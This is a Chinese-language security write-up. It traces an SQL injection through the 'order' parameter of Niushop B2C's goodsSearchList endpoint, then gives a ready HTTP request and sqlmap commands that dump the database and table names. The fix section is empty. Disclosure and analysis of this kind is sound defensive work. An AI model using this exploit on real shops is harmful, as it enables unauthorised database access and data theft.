0x01 前言

Niushop B2C商城系统基于ThinkPHP5.0开发,源码全部开放(100%),商用免费,四网合一,满足用户、企业、开发者、服务商等角色要求

0x02 代码分析

跟踪到/Application/wap/Controller/Goods.php中的goodsSearchList方法


  • 411 Line: 判断是否是ajax请求
  • 414 Line: 从post获取参数为order的值并赋给$order
  • 416 Line: 从post获取参数为sort的值并赋给$sort
  • 426 Line: 判断$order不为空
  • 427 Line: 将$order、$sort拼接并赋值给$orderby
  • 454 Line: 将$orderby传入$goods中的getGoodsList方法中
    跟踪到/data/service/Goods.php中的goodsSearchList方法

  • 106 Line: 将$order传入模型NsGoodsView中的getGoodsViewList方法
    跟踪到/data/model/NsGoodsViewModel.php中的getGoodsViewList方法
  • 39 Line: 将$order传入当前模型中的getGoodsViewQuery
  • 86 Line: 调用基类的viewPageQuery方法并将$order传入其中
    跟踪到/data/model/BaseModel.php中的viewPageQuery方法
  • 到这里直接将SQL语句带入查询,order可控导致SQL注入

0x03 漏洞探测

0x04 漏洞复现

POST /index.php?s=/wap/Goods/goodsSearchList HTTP/1.1
Host: 172.16.209.129:8086
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.209.129:8086/index.php/wap/goods/goodsSearchList
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 66
Cookie: PHPSESSID=uolpfnofnhcmdnamo55d883bk4; admin_type=1; workspaceParamSupplier=index%7CGoods; CNZZDATA009=30037667-1536735
Connection: close
Cache-Control: max-age=0

sear_name=&sear_type=1&order=*&sort=asc&controlType=&shop_id=0&page=1

将数据包保存为niushop.txt

sqlmap -r niushop.txt  --random-agent --batch --dbms "mysql"

sqlmap -r niushop.txt  --random-agent --batch --dbms "mysql" --current-db

sqlmap -r niushop.txt  --random-agent --batch --dbms "mysql" -D niushop_b2c --tables

0x05 漏洞修复